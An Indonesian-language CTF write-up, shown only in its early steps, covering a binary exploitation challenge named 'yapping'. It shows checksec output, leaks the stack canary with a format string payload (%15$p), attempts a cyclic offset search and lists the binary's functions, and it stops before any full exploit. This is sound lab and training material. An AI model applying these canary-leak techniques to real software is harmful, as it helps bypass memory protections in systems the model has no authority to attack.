

LUKAS DANU SAPTAJI

Mendapat file yapping kita identifikasi dahulu

```
shouma@DESKTOP-R6EE5AL mnt yapping file yapping
yapping: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, B
uildID[sha1]=fa12f1cc8e30da94109df9229dbb3544819a00c9, for GNU/Linux 3.2.0, not stripped
shouma@DESKTOP-R6EE5AL mnt yapping checksec yapping
[*] '/mnt/c/Users/NB3440-Master01/OneDrive/Desktop/CTF/NO AI/PWN/yapping/yapping'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
```

WOW challenge canary teman teman kali ini okay kita langsung saja cari canarynya teman teman pakai format string contoh %1\$p, ya kita harus cari satu satu dan saya menemukannya di %15\$p

```
shouma@DESKTOP-R6EE5AL mnt > yapping ./yapping
Mana yapping nya? %15$p
oaoaoaoa0x28c41ad6bfebb400
Mana yapping nya?
```

Bagaimana bisa tahu itu canarynya ya bisa dilihat belakangnya ada “00” itu adalah canarynya jadi cari yang belakangnya “00” dan gabisa langsung banyak ya format stringsnya kalau mau sekalian banyak harus sama juga

Setelah dapat canarynya kita lanjut cari offsetnya

```

pwndbg> cyclic 300
aaaaaaaaabaaaaaaacaaaaaaaaadaaaaaaaaeaaaaaaaafaaaaaaaaagaaaaaaaahaaaaaaaaaiaaaaaajaaaaaaaakaaaaaaaaalaaaaaaaamaaaaaaaaanaaaaaaaaaoaaaaaaaapaaaa
aaaaaaaaaaraaaaaaaasaaaaaaataaaaaaaauaaaaaaavaaaaaaaawaaaaaaaaxaaaaaaayaaaaaaaazaaaaaaabaaaaaaabaaaaaaabdaaaaaabeaaaaaabfaaaaaab
gaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaaablaaaaabmaaa

pwndbg> run
Starting program: /mnt/c/Users/NB3440-Master01/OneDrive/Desktop/CTF/NO AI/PWN/yapping/yapping
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
I thought you were better than this, lil hacker!
[Inferior 1 (process 1562) exited with code 0!]

```

Sepertinya ada function yang membuat kita tidak bisa mencari offset pakai cara ini kita pakai cara lain, pertama kita lihat dulu semua function yang ada

```
pwndbg> info function
All defined functions:

Non-debugging symbols:
0x0000000000401000 _init
0x0000000000401030 putchar@plt
0x0000000000401040 strncmp@plt
0x0000000000401050 puts@plt
0x0000000000401060 fclose@plt
0x0000000000401070 __stack_chk_fail@plt
0x0000000000401080 setbuf@plt
0x0000000000401090 printf@plt
0x00000000004010a0 fgets@plt
0x00000000004010b0 gets@plt
0x00000000004010c0 ptrace@plt
0x00000000004010d0 fopen@plt
0x00000000004010e0 exit@plt
0x00000000004010f0 _start
0x0000000000401120 _dl_relocate_static_pie
0x0000000000401130 deregister_tm_clones
0x0000000000401160 register_tm_clones
0x00000000004011a0 __do_global_dtors_aux
0x00000000004011d0 frame_dummy
0x00000000004011d6 anti_hacker
0x000000000040121a flag
0x00000000004012c1 exploit
0x000000000040138a main
0x00000000004013c0 _fini
```

Yap ada function anti_hacker